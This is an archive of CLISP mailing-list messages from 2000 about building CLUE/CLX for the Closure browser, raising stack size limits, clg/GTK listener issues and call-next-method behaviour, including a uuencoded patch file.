(8.9.1/8.9.0) with SMTP id RAA04105 for ; Thu, 21 Sep 2000 17:35:11 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clue/clx wrt closure (long) Date: Thu, 21 Sep 2000 17:34:48 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <200009201730.MAA18941@newton.pconline.com> In-Reply-To: <200009201730.MAA18941@newton.pconline.com> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion On Wed, 20 Sep 2000 12:30:33 -0500, John Towler wrote: > I am trying to build the closure browser. A prerequisite is building > clue, a port of which is included in the src for closure. The system > is a sparc-sun-sunos4.1.4. The current Lisp for this project is CLISP > (2000-03-06). The provided Makefiles and run scripts did not quite Which CLX implementation do you use with CLISP to build CLUE for Closure? MIT CLX or NCLX by Gilbert Baumann? NCLX is known not to work with CLUE/CLIO. You may try building the system with MIT CLX. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From jtowler@newton.pconline.com Sun Sep 24 12:24:19 2000 Received: from newton.pconline.com (IDENT:jtowler@newton.pconline.com [206.145.48.1]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id MAA22533 for ; Sun, 24 Sep 2000 12:24:19 -0700 Received: (from jtowler@localhost) by newton.pconline.com (8.8.5/8.8.5) id OAA18062; Sun, 24 Sep 2000 14:24:17 -0500 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clue/clx wrt closure (long) References: <200009201730.MAA18941@newton.pconline.com> From: John Towler Date: 24 Sep 2000 14:24:16 -0500 In-Reply-To: Paolo Amoroso's message of Thu, 21 Sep 2000 17:34:48 +0200 Message-ID: Lines: 67 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion MIT CLX 5.0, 5.02 compiles but even with a restarted X, complains about .Xauthority (already generated) to run the $clxtop/demo code. I want to get the thing running more quickly for the moment. There were an host of declarations in #'read/write-sequence-* along the lines of (defun ... (declare (type (or null (function (character) t)) transform) #+clx-ansi-common-lisp (dynamic-extent transform) ... (if transform (flet (((card8->char->transform (v) (declare (type card8 v)) #+clx-ansi-common-lisp (declare (dynamic-extent #'card8->char->transform)) (funcall transform (card8->char v)))) ...] where the #+clx-ansi-common-lisp (declare ... ) had to be moved up to precede the (funcall transform ... ). (Unless they meant something else and I got it wrong.) One or two instances of redefining type boolean as well. The changes I made are included below. John Towler begin 644 clx-ansi-cl.patch.gz M'XL("#16SCD"`V-L>"UA;G-I+6-L+G!A=&-H`.U96V_;-A1^;K`?<=8`C7QA M9OFBV,Y0H/"V(EBP%LC#MD=:HF.A$JF*E!W_^QU2DBTK4AK'SA(7-5I((L^- MYWSG(Q5Y_FP&9+H$X@Z`Q.`&=T0$WB_39#9C\7G@R\B,152Y<[8U?M)L-JOD MW]PD'&Y8!-T^V/UQYV+<[T.WT^F<$$+JC)64[-ZX-TJ5FML_XW70<=H#>PAF M`.`-`)RV+,H]T+9"L+A0QA/ETB>N"$/!B9YJ-#)Q2Z[DV!-+OJ2Q1V8)I_$M MJ!CE9R(.C1@*^;/-&)@A,SP+F`++PZKX`H;,>$J2\[0,1V'LD5:_,'8(NJ4&OA83N[X*/*].X(,3YW M@(@Q%%3Z]93`'?\Z*BBD-%%KST:#EX!A?2Z)DY]V0$M MO>XC*61M_@`44A5J+4AZW5U`4F5Z=Y`8G[N`9.W64$@.BI>GD+U`<1`*J:EU MZRF`.WYT5%+(Z*)M=SJC(H>4<[E)W4VIJT]H+=]X*22E)Q;*=M.]WA<9&*/H5EI]O[M%*< MS"JL;Y^9639>ZU&3GW!W@TW).JK!7.5B+L# M!ZS4'IGB=B!8K7VQ>7W#2*OYMLU7N]_N,X'M[Y: MYX,5GZR=ZD_6-1IV;]RWZ[]7V[U1V^ZO7^LTW68+_C5,PFG`WI,(K/6]O1GN MZOQA7L>@?T&#!&E\*D3`*$^S_=/)SR;=QE`V`U8#SBP1`T\02J:M M]-U6>8I_$S#B"2+]EC,LV$HQR)!1%NZ.JH2[HU38\$"6G(P%7CXYIZ2JCU]+ MRC[Q8(6]7T3E6#^<(],I%IY,3,@@DZGGQZ:-?";':\A[;)K<@J;0(JS-Z+=5 M0U&A&8K:3O18A`N3][NQ.+'5D<6)^UTYZ%1WY0-:NC.=^L[LVX-VO]?+.S-E M6A9C=:6*]5D(V9HUH/F%K98"=Y"(NE_H+6L6CTV?)4L\@:"A4D+(\(V-^S(\ MSRK+$&9D.6<\O06$5.0'#`)!O4;6B@L:0Q.O!GC&#DDD(SAB'IJXZWUDG,44 M<,<@V2WW`Q/QVXG@*A:!!/2"&T,,O_W^!YE<_X/_/]S<`%J2>L@\G4.VOUW- MP%?@2Z!Z+U7M[,FL/HJ98AY,5R5+2L"490KZ:)C^>0L3)%.;N%M@#+X[7[L# M.1=)X&DU#,,[+SO779,'H'2.UHHZLF!)5S)5+.G]=75=H<#9`E>OY=L@?=R3 MM)R>T-LE"R.U,J[.WZZ+MX4'W?GF<*&[>G)]=?,9/OPYN6ZDS?T9[QJH`O^* M!$*ZPKTJ%`N&MM%!X'-FEI^J+7TUQ\0H'^3?A30]S9RV(C?(K.#=>-S,%8GRL01-S,^95407:+P9W0++A-2- M!6Q%@4<<741X%S-=UTCY@LL&O)L*;P4R$$JF![:T5_HY41]3KV!B,@Y205=; E>I/]?G30LW70Q\GUC_[)^^<;6ZO2FN6M50^>_`<7*'@TH2D````` ` end From haible@ilog.fr Wed Sep 27 06:01:09 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id GAA06368 for ; Wed, 27 Sep 2000 06:01:07 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id OAA28987; Wed, 27 Sep 2000 14:56:35 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.247]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA00677; Wed, 27 Sep 2000 15:00:28 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id OAA17144; Wed, 27 Sep 2000 14:58:06 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14801.61150.463701.247578@honolulu.ilog.fr> Date: Wed, 27 Sep 2000 14:58:06 +0200 (CEST) To: John Towler Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clue/clx wrt closure (long) In-Reply-To: References: <200009201730.MAA18941@newton.pconline.com> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion John Towler writes: > I want to get the thing running more quickly for the moment. Then you might try CMUCL instead of CLISP. > There were an host of declarations in #'read/write-sequence-* along > the lines of > (defun ... > (declare (type (or null (function (character) t)) transform) > #+clx-ansi-common-lisp > (dynamic-extent transform) > ... > (if transform > (flet (((card8->char->transform (v) > (declare (type card8 v)) > #+clx-ansi-common-lisp > (declare (dynamic-extent #'card8->char->transform)) > (funcall transform (card8->char v)))) > ...] > > where the #+clx-ansi-common-lisp (declare ... ) had to be moved up to > precede the (funcall transform ... ). I don't think your patch is correct. For a 'dynamic-extent' declaration to have an effect here, it should be a "bound declaration" (CLHS term), which means that it should occur at the beginning of the 'flet' body. > One or two instances of redefining type > boolean as well. I thought this were fixed by the following patch: 1998-08-01 Bruno Haible * clx/mit-clx/package.lsp: Shadow BOOLEAN and don't export it. What error messages did you see? > ! (defvar *def-clx-class-use-defclass* #+Genera t #-Genera '(clisp cltl2) > ! This piece of patch is broken. Neither 'clisp' not 'cltl2' is a type name. > ! #-(and (or GCL AKCL) (not PCL)) ;; You may remove this line for CLISP with native CLOS. Why do you add GCL here? It is useless, because GCL has AKCL in its *features* list. I agree that CLISP should define XLIB:WINDOW etc. as classes, not structs, so that CLOSURE works. Can you send a minimal, tested patch please? Bruno From Randy.Justice@cnet.navy.mil Wed Sep 27 12:00:41 2000 Received: from smtp.cnet.navy.mil (penu1268.cnet.navy.Mil [160.125.255.140]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id MAA26651 for ; Wed, 27 Sep 2000 12:00:38 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by smtp.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id OAA19830 for ; Wed, 27 Sep 2000 14:00:04 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2650.21) id ; Wed, 27 Sep 2000 14:00:43 -0500 Message-ID: From: "Justice, Randy -CONT" To: "'clisp-list@lists.sourceforge.net'" Date: Wed, 27 Sep 2000 14:00:40 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] Lisp and Memory-- "Program Stack Overflow" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion I trying to do some recursive memory searches. I have run into a couple of searches which require large amounts of memory. I understand that CLISP has an option of -m to allocate more memory. On the NT side, It does not seem to work at all. On NT, I get about 2000 levels down before "Program Stack Overflow. RESET" regardless of the value by option -m. RedHat Linux seem to have a limit too. The -m10m gives me about 8000 levels, -m20m gives me about 9500 levels, and -m40m has the same limit as -m20m. How do I get more memory of CLISP to use? Or is there a bigger concept that I am missing? Thanks in Advance Randy From aler@inf.uc3m.es Fri Sep 29 04:20:56 2000 Received: from elrond.uc3m.es ([163.117.136.62]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e8TBKVW12806 for ; Fri, 29 Sep 2000 04:20:34 -0700 Received: from mazinguer.uc3m.es (mazinguer.uc3m.es [163.117.129.154]) by elrond.uc3m.es (8.9.3/8.9.1) with SMTP id NAA12607 for ; Fri, 29 Sep 2000 13:21:40 +0200 (MET DST) Date: Fri, 29 Sep 2000 11:20:12 +0000 (GMT) From: Ricardo Aler Mur X-Sender: aler@mazinguer.uc3m.es Reply-To: aler@inf.uc3m.es To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Lisp and Memory-- "Program Stack Overflow" In-Reply-To: Message-ID: Distribution: world MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion For using large amounts of memory, use: clisp -W It's a bit slower, though. Ricardo. -------- mailto: "Ricardo Aler Mur" http://scalab.uc3m.es/~aler From haible@ilog.fr Fri Sep 29 06:01:16 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e8TD1DW20399 for ; Fri, 29 Sep 2000 06:01:14 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id OAA12524; Fri, 29 Sep 2000 14:56:35 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.217]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA13827; Fri, 29 Sep 2000 15:00:28 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id OAA23671; Fri, 29 Sep 2000 14:57:58 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14804.37334.524379.572061@honolulu.ilog.fr> Date: Fri, 29 Sep 2000 14:57:58 +0200 (CEST) To: "Justice, Randy -CONT" Cc: "'clisp-list@lists.sourceforge.net'" Subject: Re: [clisp-list] Lisp and Memory-- "Program Stack Overflow" In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Justice, Randy writes: > > I trying to do some recursive memory searches. I have run into a couple of > searches which require large amounts of memory. I understand that CLISP has > an option of -m to allocate more memory. > > On the NT side, It does not seem to work at all. On NT, I get about 2000 > levels down before "Program Stack Overflow. RESET" regardless of the value > by option -m. > > RedHat Linux seem to have a limit too. The -m10m gives me about 8000 > levels, -m20m gives me about 9500 levels, and -m40m has the same limit as > -m20m. > > How do I get more memory of CLISP to use? Or is there a bigger concept that > I am missing? CLISP cannot give you more than the default stack size of the operating system, because the operating system generally doesn't allow it. On Windows, the stack size needed by a program must be hardwired in the executable (lisp.exe). On Unix, the maximum stack size is changeable through the 'ulimit' shell builtin; its use might require superuser privileges. Therefore all you can do is a) prefer iteration over recursion when you are iterating through long lists, b) compile your lisp programs, then they eat less stack, c) become superuser and use "ulimit -s" to change the stack size, then su back to your normal identity and start clisp. Bruno From haible@ilog.fr Fri Sep 29 06:08:34 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e8TD8RW20950 for ; Fri, 29 Sep 2000 06:08:27 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA12777; Fri, 29 Sep 2000 15:03:49 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.217]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA14655; Fri, 29 Sep 2000 15:07:41 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id PAA23710; Fri, 29 Sep 2000 15:05:04 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14804.37760.444127.245846@honolulu.ilog.fr> Date: Fri, 29 Sep 2000 15:05:04 +0200 (CEST) To: aler@inf.uc3m.es Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Lisp and Memory-- "Program Stack Overflow" In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Ricardo Aler Mur writes: > For using large amounts of memory, use: > > clisp -W That's a noop today. The "-W" option has effectively been eliminated in the 1998-09-09 release. Bruno From gsarria@escher.ujavcali.edu.co Fri Sep 29 07:30:27 2000 Received: from escher.ujavcali.edu.co (IDENT:root@[200.32.81.136]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e8TEUGW26448 for ; Fri, 29 Sep 2000 07:30:23 -0700 Received: from localhost (gsarria@localhost) by escher.ujavcali.edu.co (8.9.3/8.9.3) with ESMTP id JAA15442 for ; Fri, 29 Sep 2000 09:38:17 -0500 Date: Fri, 29 Sep 2000 09:38:17 -0500 (COT) From: Gerardo Mauricio Sarria To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] clg Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Hello! I have been using clisp with a extension called clg (it let to use the gtk functions in lisp) and it runs OK but it doesn't free the lisp listener. I don't know if this is because the clg or the clisp. Can anyone know any about it? If it is because clisp, is there any function that set the listener free? Thanks Gerardo Sarria From emarsden@laas.fr Fri Sep 29 08:20:16 2000 Received: from laas.laas.fr (laas.laas.fr [140.93.0.15]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e8TFKFW29893 for ; Fri, 29 Sep 2000 08:20:15 -0700 Received: from dukas.laas.fr (dukas [140.93.21.58]) by laas.laas.fr (8.10.2/8.10.2) with ESMTP id e8TFKCE08518; Fri, 29 Sep 2000 17:20:12 +0200 (MET DST) Received: (from emarsden@localhost) by dukas.laas.fr (8.9.3/8.9.3) id RAA14073; Fri, 29 Sep 2000 17:20:11 +0200 (MET DST) To: "Justice, Randy -CONT" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Lisp and Memory-- "Program Stack Overflow" References: From: Eric Marsden Organization: LAAS-CNRS http://www.laas.fr/ X-Eric-Conspiracy: there is no conspiracy X-Attribution: ecm X-URL: http://www.chez.com/emarsden/ Date: 29 Sep 2000 17:20:11 +0200 In-Reply-To: "Justice, Randy -CONT"'s message of "Wed, 27 Sep 2000 14:00:40 -0500" Message-ID: Lines: 11 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.6 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion >>>>> "rj" == Justice, Randy -CONT writes: rj> How do I get more memory of CLISP to use? Or is there a bigger rj> concept that I am missing? you may be running into operating system limits on stack size. Try increasing them using `ulimit' on linux+bash (don't know the NT equivalent). -- Eric Marsden From toy@rtp.ericsson.se Fri Oct 6 07:17:24 2000 Received: from mail2.valinux.com (panoramix.valinux.com [198.186.202.147]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e96EHNH21374 for ; Fri, 6 Oct 2000 07:17:24 -0700 Received: from imr1.ericy.com ([208.237.135.240]) by mail2.valinux.com with esmtp (Exim 3.16 #1 (Debian)) id 13hYJR-0001TS-00 for ; Fri, 06 Oct 2000 07:17:25 -0700 Received: from mr5.exu.ericsson.se. (mr5u3.ericy.com [208.237.135.124]) by imr1.ericy.com (8.9.3/8.9.3) with ESMTP id JAA16671; Fri, 6 Oct 2000 09:12:20 -0500 (CDT) Received: from netmanager7.rtp.ericsson.se (netmanager7.rtp.ericsson.se [147.117.133.252]) by mr5.exu.ericsson.se. (8.10.2/8.10.2) with ESMTP id e96EAu804762; Fri, 6 Oct 2000 09:10:56 -0500 (CDT) Received: from edgedsp4.ericsson.COM (edgedsp4.rtp.ericsson.se [147.117.82.5]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id KAA12717; Fri, 6 Oct 2000 10:12:18 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.ericsson.COM (8.9.1b+Sun/8.9.1) id KAA18794; Fri, 6 Oct 2000 10:12:16 -0400 (EDT) X-Authentication-Warning: edgedsp4.ericsson.COM: toy set sender to toy@rtp.ericsson.se using -f To: John Towler Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clue/clx wrt closure (long) References: <200009201730.MAA18941@newton.pconline.com> From: Raymond Toy Date: 06 Oct 2000 10:12:16 -0400 In-Reply-To: John Towler's message of "24 Sep 2000 14:24:16 -0500" Message-ID: <4nlmw29hz3.fsf@rtp.ericsson.se> Lines: 17 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.2 (Notus) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion >>>>> "John" == John Towler writes: John> MIT CLX 5.0, John> 5.02 compiles but even with a restarted X, complains about .Xauthority John> (already generated) to run the $clxtop/demo code. If this is the stock CLX, I don't think it completely understands .Xauthority. If your $DISPLAY is :0.0, .Xauthority has entries like /unix:0 MIT-MAGIC-COOKIE-1 and CLX doesn't know how to interpret this. The version of CLX in CMUCL has code that understands this. Ray From marcoxa@cs.nyu.edu Fri Oct 6 07:46:31 2000 Received: from octagon.mrl.nyu.edu (OCTAGON.MRL.NYU.EDU [128.122.47.83]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e96EkRH23329 for ; Fri, 6 Oct 2000 07:46:28 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id KAA22127; Fri, 6 Oct 2000 10:46:06 -0400 Date: Fri, 6 Oct 2000 10:46:06 -0400 Message-Id: <200010061446.KAA22127@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: gsarria@escher.ujavcali.edu.co CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Gerardo Mauricio Sarria on Fri, 29 Sep 2000 09:38:17 -0500 (COT)) Subject: Re: [clisp-list] clg References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > Date: Fri, 29 Sep 2000 09:38:17 -0500 (COT) > From: Gerardo Mauricio Sarria > Content-Type: TEXT/PLAIN; charset=US-ASCII > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0beta5 > Precedence: bulk > List-Id: CLISP user discussion > Content-Length: 502 > > Hello! > > I have been using clisp with a extension called clg (it let to use the > gtk functions in lisp) and it runs OK but it doesn't free the lisp > listener. I don't know if this is because the clg or the clisp. > > Can anyone know any about it? > If it is because clisp, is there any function that set the listener free? CLG does some magic with CMUCL to make sure that the listener is "freed". I do not know whether you could do the same with CLisp, although I suppose so. Cheers -- Marco Antoniotti ============================================================= NYU Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://galt.mrl.nyu.edu/valis Like DNA, such a language [Lisp] does not go out of style. Paul Graham, ANSI Common Lisp From pdm@seznam.cz Wed Oct 11 11:46:04 2000 Received: from ns.skynet.cz (ns.skynet.cz [193.165.192.9]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e9BIk3H30052 for ; Wed, 11 Oct 2000 11:46:03 -0700 Received: from blackbird (asasync41.skynet.cz [193.165.192.141]) by ns.skynet.cz (8.9.3/8.9.2) with ESMTP id UAA35390 for ; Wed, 11 Oct 2000 20:46:00 +0200 (CEST) (envelope-from pdm@seznam.cz) Received: from pdm by blackbird with local (Exim 3.12 #1 (Debian)) id 13jQqw-0001Cv-00; Wed, 11 Oct 2000 20:43:46 +0200 To: clisp-list@lists.sourceforge.net X-Face: #G'i>Q>~:^*=!qpsXTU;iEZ8xcAz+u~Vq0(

a6!3ebS/2|\r{9&asz&Qp]~)uF,N"4,jS T&F>.|='gO6:N Date: 11 Oct 2000 20:41:51 +0200 In-Reply-To: Marco Antoniotti's message of "Fri, 6 Oct 2000 10:46:06 -0400" Message-ID: <8766mz8bkg.fsf_-_@seznam.cz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Lines: 27 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 Subject: [clisp-list] call-next-method problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion In CLISP, call-next-method is a macro and not a function, which is a documented feature. This causes some problem to me and I don't know how to solve it cleanly. In ANSI Common Lisp, I can do the following: (defclass foo () ((z :initarg :z) (bar :initarg :bar))) (defmethod initialize-instance ((instance foo) &rest initargs &key x y) (if (and x y) (apply #'call-next-method instance :z (sqrt (+ (* x x) (* y y))) initargs) (call-next-method))) I don't know how to perform the `apply' call in CLISP. Is it possible by some trick or can I use another approach to the class instance initialization, which is not worse than using the initialize-instance method? Thanks for any advice. Milan Zamazal -- "Having GNU Emacs is like having a dragon's cave of treasures." Robert J. Chassell From haible@ilog.fr Wed Oct 11 12:14:22 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e9BJELH32304 for ; Wed, 11 Oct 2000 12:14:21 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id VAA12949; Wed, 11 Oct 2000 21:09:42 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.27]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id VAA21153; Wed, 11 Oct 2000 21:13:40 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id VAA10557; Wed, 11 Oct 2000 21:10:31 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14820.47911.616730.703787@honolulu.ilog.fr> Date: Wed, 11 Oct 2000 21:10:31 +0200 (CEST) To: Milan Zamazal Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] call-next-method problem In-Reply-To: <8766mz8bkg.fsf_-_@seznam.cz> References: <8766mz8bkg.fsf_-_@seznam.cz> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Milan Zamazal writes: > In CLISP, call-next-method is a macro and not a function, which is a > documented feature. This causes some problem to me and I don't know how > to solve it cleanly. > > In ANSI Common Lisp, I can do the following: > > (defclass foo () > ((z :initarg :z) > (bar :initarg :bar))) > > (defmethod initialize-instance ((instance foo) &rest initargs &key x y) > (if (and x y) > (apply #'call-next-method instance :z (sqrt (+ (* x x) (* y y))) initargs) > (call-next-method))) This is fixed in the newest clisp snapshots, e.g. ftp://cellar.goems.com/pub/clisp/clisp-snap.tgz > I don't know how to perform the `apply' call in CLISP. Is it possible > by some trick I don't think so. Bruno From rurban@sbox.tu-graz.ac.at Thu Oct 12 05:09:27 2000 Received: from viemta04.chello.at (viemta04.chello.at [195.34.133.54]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e9CC9QH29992 for ; Thu, 12 Oct 2000 05:09:26 -0700 Received: from sbox.tu-graz.ac.at ([212.186.199.154]) by viemta04.chello.at (InterMail vK.4.02.00.10 201-232-116-110 license 9caa03a7df1d31c048ffcc0d31ac5855) with ESMTP id <20001012120920.OVO28415.viemta04@sbox.tu-graz.ac.at> for ; Thu, 12 Oct 2000 14:09:20 +0200 Message-ID: <39E5A996.F5D1B67C@sbox.tu-graz.ac.at> Date: Thu, 12 Oct 2000 14:07:50 +0200 From: Reini Urban Organization: http://xarch.tu-graz.ac.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: en,de,de-AT,de-DE MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] call-next-method problem References: <8766mz8bkg.fsf_-_@seznam.cz> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Milan Zamazal schrieb: > (defmethod initialize-instance ((instance foo) &rest initargs &key x y) > (if (and x y) > (apply #'call-next-method instance :z (sqrt (+ (* x x) (* y y))) initargs) > (call-next-method))) > > I don't know how to perform the `apply' call in CLISP. Is it possible > by some trick or can I use another approach to the class instance > initialization, which is not worse than using the initialize-instance > method? as long as there are no lexvars involved I would do: (eval (list 'call-next-method instance :z (sqrt (+ (* x x) (* y y))) initargs)) -- Reini Urban http://xarch.tu-graz.ac.at/autocad/news/faq/autolisp.html From romildo@urano.iceb.ufop.br Mon Oct 16 05:21:30 2000 Received: from urano.iceb.ufop.br ([200.131.209.253]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id e9GCIpA04404; Mon, 16 Oct 2000 05:20:28 -0700 Received: (from romildo@localhost) by urano.iceb.ufop.br (8.11.0/8.11.0) id e9GBNVh10126; Mon, 16 Oct 2000 09:23:31 -0200 Date: Mon, 16 Oct 2000 09:23:31 -0200 From: =?iso-8859-1?Q?Jos=E9_Romildo_Malaquias?= To: clisp-devel@lists.sourceforge.net Cc: clisp-list@lists.sourceforge.net Message-ID: <20001016092331.G3594@urano.iceb.ufop.br> Mime-Version: 1.0 